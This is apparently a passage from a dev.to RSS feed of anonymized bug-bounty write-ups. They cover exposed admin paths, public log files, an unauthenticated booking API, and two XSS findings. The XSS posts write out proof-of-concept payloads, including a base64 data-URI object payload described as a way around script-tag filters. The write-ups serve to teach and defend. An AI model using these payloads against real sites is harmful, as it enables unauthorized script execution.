Now imagine that not only is the door visible to everyone, but a document explaining how all the controls inside work is also left outside.&lt;/p&gt;

&lt;p&gt;Even if the door is locked, that information alone makes it much easier for someone to break in.&lt;/p&gt;




&lt;h3&gt;
  
  
  What Was Exposed
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;An administrative interface path&lt;/li&gt;
&lt;li&gt;A sensitive configuration file that should never be publicly accessible&lt;/li&gt;
&lt;li&gt;Internal system operations (such as start, stop, add, remove services)&lt;/li&gt;
&lt;li&gt;Details about how authentication works&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Why This Is Risky
&lt;/h3&gt;

&lt;p&gt;Even without direct access, exposing this kind of information creates a strong foundation for attackers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Information Disclosure&lt;/strong&gt;&lt;br&gt;
Internal structure, endpoints, and system behavior become visible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Increased Attack Surface&lt;/strong&gt;&lt;br&gt;
Attackers can directly target sensitive endpoints instead of guessing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Targeted Attacks Become Easier&lt;/strong&gt;&lt;br&gt;
Knowing the authentication method and internal functions allows more precise attack strategies.&lt;/p&gt;




&lt;h3&gt;
  
  
  Real-World Risk
&lt;/h3&gt;

&lt;p&gt;If combined with other weaknesses like weak passwords or misconfigurations, this could potentially lead to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unauthorized administrative access&lt;/li&gt;
&lt;li&gt;Control over application functions&lt;/li&gt;
&lt;li&gt;In severe cases, remote code execution&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  What Should Be Done
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Restrict access to sensitive directories (like configuration folders)&lt;/li&gt;
&lt;li&gt;Ensure administrative panels are not publicly exposed&lt;/li&gt;
&lt;li&gt;Disable access to internal files from the browser&lt;/li&gt;
&lt;li&gt;Regularly audit applications for unintended exposures&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://linktr.ee/abhinavsingwal" rel="noopener noreferrer"&gt;https://linktr.ee/abhinavsingwal&lt;/a&gt;&lt;/p&gt;

</description>
      <category>adminpanel</category>
      <category>admin</category>
      <category>dashboard</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Finding 100+ Public Log Files &amp; SQL Dumps: What It Taught Me About Security</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Thu, 16 Apr 2026 10:09:27 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/finding-100-public-log-files-sql-dumps-what-it-taught-me-about-security-1df7</link>
      <guid>https://dev.to/abhinavsingwal/finding-100-public-log-files-sql-dumps-what-it-taught-me-about-security-1df7</guid>
      <description>&lt;p&gt;While exploring websites for security issues, I came across something interesting &lt;strong&gt;over 100 publicly accessible log files and database-related files&lt;/strong&gt; available online.&lt;/p&gt;

&lt;p&gt;At first, it looked like a serious problem. But as I analyzed it further, it turned into an important learning experience about how security issues are evaluated in the real world.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Found
&lt;/h2&gt;

&lt;p&gt;Using basic techniques to collect website links, I discovered multiple pages where files were openly accessible without any login.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpeulenivtx5l7qw5ouw9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpeulenivtx5l7qw5ouw9.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These files included:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Log files (records of system activity)&lt;/li&gt;
&lt;li&gt;Database structure files&lt;/li&gt;
&lt;li&gt;Debug and error reports&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What Kind of Information Was Visible?
&lt;/h2&gt;

&lt;p&gt;When I checked these files, I found different types of information that should normally stay private:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Session Information
&lt;/h3&gt;

&lt;p&gt;Some files contained session IDs, which are used to keep users logged in.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Internal Links
&lt;/h3&gt;

&lt;p&gt;There were internal service URLs that show how the system communicates behind the scenes.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. API Keys and Identifiers
&lt;/h3&gt;

&lt;p&gt;Some entries showed keys and IDs used by applications to connect with services.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Personal Information
&lt;/h3&gt;

&lt;p&gt;A few logs included usernames, email addresses, and system-related details.&lt;/p&gt;




&lt;h3&gt;
  
  
  5. System Details
&lt;/h3&gt;

&lt;p&gt;The files revealed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Folder paths from computers&lt;/li&gt;
&lt;li&gt;Software versions&lt;/li&gt;
&lt;li&gt;Internal configurations&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  6. Debug Information
&lt;/h3&gt;

&lt;p&gt;Some logs showed development-related details like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Debug ports&lt;/li&gt;
&lt;li&gt;Internal code references&lt;/li&gt;
&lt;li&gt;Build information&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why This Can Be Risky
&lt;/h2&gt;

&lt;p&gt;Even if this data cannot be directly used to hack a system, it can still help attackers in several ways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Understand how a system works internally&lt;/li&gt;
&lt;li&gt;Identify weak points&lt;/li&gt;
&lt;li&gt;Prepare more targeted attacks&lt;/li&gt;
&lt;li&gt;Use exposed information for scams or social engineering&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Most Important Lesson
&lt;/h2&gt;

&lt;p&gt;At first, it seemed obvious that this was a major security issue.&lt;/p&gt;

&lt;p&gt;But the key question is:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Who made this data public?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There are two possibilities:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The platform accidentally exposed it (a real security issue)&lt;/li&gt;
&lt;li&gt;Users uploaded these files themselves (not always a platform issue)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This difference is very important when evaluating security reports.&lt;/p&gt;




&lt;h2&gt;
  
  
  How This Changed My Thinking
&lt;/h2&gt;

&lt;p&gt;Earlier, I focused mainly on finding sensitive data.&lt;/p&gt;

&lt;p&gt;Now I focus on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Why the data is exposed&lt;/li&gt;
&lt;li&gt;Who is responsible&lt;/li&gt;
&lt;li&gt;Whether it can actually be misused&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What Makes a Strong Security Finding
&lt;/h2&gt;

&lt;p&gt;A strong report is not just about showing data is visible.&lt;/p&gt;

&lt;p&gt;It should also explain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How someone can misuse it&lt;/li&gt;
&lt;li&gt;What damage it can cause&lt;/li&gt;
&lt;li&gt;What system failed to prevent it&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  How This Can Be Prevented
&lt;/h2&gt;

&lt;p&gt;From a security perspective, platforms can reduce such risks by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Restricting uploads of sensitive file types&lt;/li&gt;
&lt;li&gt;Scanning files before making them public&lt;/li&gt;
&lt;li&gt;Removing private information from logs&lt;/li&gt;
&lt;li&gt;Blocking access to internal files&lt;/li&gt;
&lt;li&gt;Preventing search engines from indexing sensitive content&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  bugbounty #cybersecurity #infosec #securityresearch #learning
&lt;/h1&gt;

</description>
      <category>webdev</category>
      <category>backend</category>
      <category>cybersecurity</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Input Validation Issue in a User Profile Feature</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Tue, 14 Apr 2026 10:26:59 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/input-validation-issue-in-a-user-profile-feature-eh6</link>
      <guid>https://dev.to/abhinavsingwal/input-validation-issue-in-a-user-profile-feature-eh6</guid>
      <description>&lt;p&gt;While testing a web application as part of my security research, I came across an interesting case related to &lt;strong&gt;input validation&lt;/strong&gt; in a user profile update feature.&lt;/p&gt;

&lt;p&gt;This write-up focuses on the technical understanding and learning, while keeping all sensitive details anonymized.&lt;/p&gt;




&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;Most web applications allow users to update profile information such as name, email, or preferences. These fields may look simple, but they are critical from a security perspective.&lt;/p&gt;

&lt;p&gt;In this case, I was testing a &lt;strong&gt;profile update functionality&lt;/strong&gt;, specifically the display name field.&lt;/p&gt;




&lt;h2&gt;
  
  
  Initial Observation
&lt;/h2&gt;

&lt;p&gt;From the frontend, the application appeared to restrict input normally. However, instead of relying only on the UI, I decided to test how the backend handles input.&lt;/p&gt;

&lt;p&gt;Using a proxy tool, I intercepted the request responsible for updating user data.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Found
&lt;/h2&gt;

&lt;p&gt;By modifying the intercepted request, I was able to send unexpected input in the display name field.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxhvrmd3svu2i506fh2fz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxhvrmd3svu2i506fh2fz.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Example payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#' + alert(1) + '
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After sending the modified request:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The server accepted the input&lt;/li&gt;
&lt;li&gt;The response returned a success message&lt;/li&gt;
&lt;li&gt;The malicious-looking input was stored in the user profile&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Technical Breakdown
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Request Manipulation
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Original request method was modified to a data update request&lt;/li&gt;
&lt;li&gt;JSON body was altered to include crafted input&lt;/li&gt;
&lt;li&gt;The modified request was sent directly to the server&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Server Behavior
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;No validation or filtering was applied&lt;/li&gt;
&lt;li&gt;The server stored the input as-is&lt;/li&gt;
&lt;li&gt;The response confirmed successful update&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why This is Important
&lt;/h2&gt;

&lt;p&gt;Even though this did not immediately lead to script execution, it highlights a &lt;strong&gt;lack of proper input validation&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Trusting User Input
&lt;/h3&gt;

&lt;p&gt;The server trusted the input without verifying:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Expected format (e.g., only letters for name)&lt;/li&gt;
&lt;li&gt;Presence of suspicious patterns&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Potential Security Risk
&lt;/h3&gt;

&lt;p&gt;If this stored value is later used in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTML pages&lt;/li&gt;
&lt;li&gt;JavaScript contexts&lt;/li&gt;
&lt;li&gt;Logs or admin panels&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It could lead to vulnerabilities like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cross-Site Scripting (XSS)&lt;/li&gt;
&lt;li&gt;UI manipulation&lt;/li&gt;
&lt;li&gt;Data corruption&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Chaining Possibility
&lt;/h3&gt;

&lt;p&gt;Low-impact issues like this can become dangerous when combined with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reflected outputs&lt;/li&gt;
&lt;li&gt;Admin dashboards&lt;/li&gt;
&lt;li&gt;Unsafe rendering contexts&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Key Learnings
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Always Test Beyond the UI
&lt;/h3&gt;

&lt;p&gt;Frontend restrictions can be bypassed easily. Always test at the request level.&lt;/p&gt;

&lt;h3&gt;
  
  
  Input Validation is Critical
&lt;/h3&gt;

&lt;p&gt;Applications must validate:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Data type&lt;/li&gt;
&lt;li&gt;Length&lt;/li&gt;
&lt;li&gt;Allowed characters&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Think About Data Flow
&lt;/h3&gt;

&lt;p&gt;Ask:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Where will this data be used next?&lt;/li&gt;
&lt;li&gt;Can it be rendered somewhere unsafe?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Small Issues Matter
&lt;/h3&gt;

&lt;p&gt;Even if something is not exploitable now, it can become exploitable later.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recommendations for Developers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Implement Strict Server-Side Validation
&lt;/h3&gt;

&lt;p&gt;Define clear rules for each field:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Names should only allow expected characters&lt;/li&gt;
&lt;li&gt;Reject unexpected patterns&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Sanitize Input Before Storage
&lt;/h3&gt;

&lt;p&gt;Filter or clean data before saving it in the database.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Use Context-Aware Output Encoding
&lt;/h3&gt;

&lt;p&gt;Ensure safe rendering in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTML&lt;/li&gt;
&lt;li&gt;JavaScript&lt;/li&gt;
&lt;li&gt;Attributes&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Avoid Trusting Client-Side Validation
&lt;/h3&gt;

&lt;p&gt;Client-side checks are easily bypassed.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Monitor Unusual Inputs
&lt;/h3&gt;

&lt;p&gt;Log and monitor suspicious patterns for early detection.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Insight
&lt;/h2&gt;

&lt;p&gt;Many real-world vulnerabilities start like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Input is accepted without validation&lt;/li&gt;
&lt;li&gt;Data is stored&lt;/li&gt;
&lt;li&gt;Later used in a different context&lt;/li&gt;
&lt;li&gt;Leads to XSS or other attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s why even simple input handling issues should not be ignored.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>backend</category>
      <category>javascript</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Exploring an Unrestricted API Access Issue in a Booking System</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Mon, 13 Apr 2026 09:19:04 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/exploring-an-unrestricted-api-access-issue-in-a-booking-system-1ioo</link>
      <guid>https://dev.to/abhinavsingwal/exploring-an-unrestricted-api-access-issue-in-a-booking-system-1ioo</guid>
      <description>&lt;p&gt;During my recent testing, I came across an interesting case involving a flight booking feature where an API endpoint was accessible without any authentication. This write-up shares the technical details and learnings while keeping the target fully anonymized.&lt;/p&gt;




&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;Modern web applications rely heavily on APIs to fetch and display data. These APIs often power frontend features like search results, filters, and dynamic content.&lt;/p&gt;

&lt;p&gt;In this case, I was testing a &lt;strong&gt;flight search functionality&lt;/strong&gt; and observed that the frontend was making requests to a backend API to retrieve flight data.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbo987j4u8gw258rb59yr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbo987j4u8gw258rb59yr.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Found
&lt;/h2&gt;

&lt;p&gt;While analyzing the network traffic, I identified an API endpoint responsible for returning flight details such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Flight schedules&lt;/li&gt;
&lt;li&gt;Ticket pricing&lt;/li&gt;
&lt;li&gt;Airline information&lt;/li&gt;
&lt;li&gt;Availability&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The key observation was that this endpoint:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Did not require authentication&lt;/li&gt;
&lt;li&gt;Did not enforce strict access controls&lt;/li&gt;
&lt;li&gt;Was directly accessible via a browser or script&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why This Matters
&lt;/h2&gt;

&lt;p&gt;At first glance, this might look like normal functionality. However, from a security and business perspective, it introduces several risks.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Data Misuse
&lt;/h3&gt;

&lt;p&gt;Anyone can extract large amounts of proprietary data and reuse it elsewhere.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Unauthorized Services
&lt;/h3&gt;

&lt;p&gt;Attackers or competitors could build their own platforms using this data without permission.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Revenue Impact
&lt;/h3&gt;

&lt;p&gt;If the data is part of a paid or licensed service, unrestricted access could lead to financial loss.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Scraping at Scale
&lt;/h3&gt;

&lt;p&gt;Without rate limiting or authentication, automated tools can collect massive datasets quickly.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Learnings
&lt;/h2&gt;

&lt;h3&gt;
  
  
  APIs Are Part of the Attack Surface
&lt;/h3&gt;

&lt;p&gt;Security testing should always include API endpoints, not just the UI.&lt;/p&gt;

&lt;h3&gt;
  
  
  Look for Missing Controls
&lt;/h3&gt;

&lt;p&gt;Even if an API works correctly, check:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is authentication required?&lt;/li&gt;
&lt;li&gt;Are there rate limits?&lt;/li&gt;
&lt;li&gt;Is data exposure justified?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Think Beyond Exploitation
&lt;/h3&gt;

&lt;p&gt;Not all issues are about code execution. Some are about &lt;strong&gt;data exposure and misuse&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Advice for Developers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Implement Proper Access Control
&lt;/h3&gt;

&lt;p&gt;Even for public data, consider:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;API keys&lt;/li&gt;
&lt;li&gt;Token-based authentication&lt;/li&gt;
&lt;li&gt;Scoped access&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Apply Rate Limiting
&lt;/h3&gt;

&lt;p&gt;Prevent automated abuse by limiting the number of requests per user or IP.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Monitor API Usage
&lt;/h3&gt;

&lt;p&gt;Track unusual patterns such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;High-frequency requests&lt;/li&gt;
&lt;li&gt;Large-scale data extraction&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Restrict Data Exposure
&lt;/h3&gt;

&lt;p&gt;Only return the minimum required data in API responses.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Use Anti-Scraping Mechanisms
&lt;/h3&gt;

&lt;p&gt;Consider:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Request fingerprinting&lt;/li&gt;
&lt;li&gt;CAPTCHA for suspicious activity&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6. Validate Business Logic
&lt;/h3&gt;

&lt;p&gt;Ensure that APIs cannot be abused to bypass intended usage models.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>api</category>
      <category>backend</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Self XSS Vulnerability in a Rich Text Editor</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Sun, 12 Apr 2026 06:22:22 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/self-xss-vulnerability-in-a-rich-text-editor-5093</link>
      <guid>https://dev.to/abhinavsingwal/self-xss-vulnerability-in-a-rich-text-editor-5093</guid>
      <description>&lt;p&gt;During my recent security testing, I identified a &lt;strong&gt;Self Cross-Site Scripting (Self-XSS)&lt;/strong&gt; issue in a web-based ticketing platform. This write-up focuses on the technical details and learning aspects while keeping the target fully anonymized.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is the Issue
&lt;/h2&gt;

&lt;p&gt;The application uses a &lt;strong&gt;rich text editor&lt;/strong&gt; for user input, commonly found in ticket systems, comment sections, and dashboards.&lt;/p&gt;

&lt;p&gt;While testing the editor features, I discovered that the &lt;strong&gt;insert link functionality&lt;/strong&gt; was not properly handling certain types of input. This allowed crafted payloads to be injected and executed in the browser.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0nhe5q2lemd91yma2mt1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0nhe5q2lemd91yma2mt1.png" alt="selfxss vulnerability in website" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Root Cause
&lt;/h2&gt;

&lt;p&gt;The core issue lies in &lt;strong&gt;improper handling of user-controlled input inside the editor&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Specifically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The URL field in the insert link feature accepted complex input&lt;/li&gt;
&lt;li&gt;The input was not fully sanitized before being processed&lt;/li&gt;
&lt;li&gt;The editor allowed rendering of embedded HTML through data URIs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This created a situation where browser-executable content could be introduced.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technical Breakdown
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Payload Used
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;object data='data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+'&amp;gt;&amp;lt;/object&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What this does
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;data:text/html;base64,...&lt;/code&gt; allows embedding HTML content directly&lt;/li&gt;
&lt;li&gt;The Base64 string decodes to an SVG element with an &lt;code&gt;onload&lt;/code&gt; event&lt;/li&gt;
&lt;li&gt;When rendered, the browser executes JavaScript&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a common technique to bypass basic filters that only block &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;




&lt;h2&gt;
  
  
  Execution Flow
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;User opens the editor&lt;/li&gt;
&lt;li&gt;Clicks on insert link option&lt;/li&gt;
&lt;li&gt;Enters crafted payload in URL field&lt;/li&gt;
&lt;li&gt;Saves the content&lt;/li&gt;
&lt;li&gt;When the content is rendered:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;The object tag loads the data URI&lt;/li&gt;
&lt;li&gt;The embedded SVG executes JavaScript via onload&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Observed Behavior
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;JavaScript executed successfully in the browser&lt;/li&gt;
&lt;li&gt;The execution was restricted to the same user session&lt;/li&gt;
&lt;li&gt;The payload did not impact other users or administrators&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why It is Self XSS
&lt;/h2&gt;

&lt;p&gt;This case was classified as &lt;strong&gt;Self-XSS&lt;/strong&gt; because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The attack requires the user to inject the payload themselves&lt;/li&gt;
&lt;li&gt;No automatic execution for other users&lt;/li&gt;
&lt;li&gt;No cross-user data exposure&lt;/li&gt;
&lt;li&gt;No privilege escalation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From a risk perspective, this is considered low impact in most bug bounty programs.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why It Still Matters
&lt;/h2&gt;

&lt;p&gt;Even though this is labeled as low severity, it is still important from a security standpoint.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Indicator of Weak Input Handling
&lt;/h3&gt;

&lt;p&gt;It shows that the application does not fully sanitize complex inputs.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Potential for Chaining
&lt;/h3&gt;

&lt;p&gt;If combined with other issues like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Clickjacking&lt;/li&gt;
&lt;li&gt;Social engineering&lt;/li&gt;
&lt;li&gt;Stored input reuse&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It could lead to more serious exploitation.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Editor Attack Surface
&lt;/h3&gt;

&lt;p&gt;Rich text editors are historically prone to XSS-related issues due to their flexibility.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recommendations for Developers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Strict Input Validation
&lt;/h3&gt;

&lt;p&gt;Do not allow raw HTML or dangerous tags in user input fields.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Sanitize Editor Output
&lt;/h3&gt;

&lt;p&gt;Use well-tested sanitization libraries to clean content before rendering.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Block Dangerous Schemes
&lt;/h3&gt;

&lt;p&gt;Restrict usage of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;data:&lt;/code&gt; URIs&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;javascript:&lt;/code&gt; protocols&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Apply Content Security Policy (CSP)
&lt;/h3&gt;

&lt;p&gt;Limit execution of inline scripts and restrict resource loading.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Context-Aware Encoding
&lt;/h3&gt;

&lt;p&gt;Ensure proper encoding based on where the data is rendered.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Not all XSS issues are high impact&lt;/li&gt;
&lt;li&gt;Understanding context is critical in vulnerability assessment&lt;/li&gt;
&lt;li&gt;Rich text editors require deep testing beyond basic payloads&lt;/li&gt;
&lt;li&gt;Always think in terms of exploitation possibilities, not just execution&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  About Me
&lt;/h2&gt;

&lt;p&gt;I am focused on &lt;strong&gt;web application security and VAPT&lt;/strong&gt;.&lt;br&gt;
I am open to &lt;strong&gt;remote opportunities&lt;/strong&gt; and interested in working with &lt;strong&gt;startups and small teams&lt;/strong&gt; where I can contribute and grow.&lt;/p&gt;

</description>
      <category>selfxss</category>
      <category>xss</category>
      <category>texteditor</category>
    </item>
    <item>
      <title>Advanced DOM XSS Patterns Every Developer Should Know</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Wed, 18 Mar 2026 19:02:54 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/advanced-dom-xss-patterns-every-developer-should-know-38a1</link>
      <guid>https://dev.to/abhinavsingwal/advanced-dom-xss-patterns-every-developer-should-know-38a1</guid>
      <description>&lt;p&gt;If you're serious about finding DOM XSS in modern applications, you need to move beyond “search for innerHTML” and start thinking like a data-flow analyst.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Indirect Object Property Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
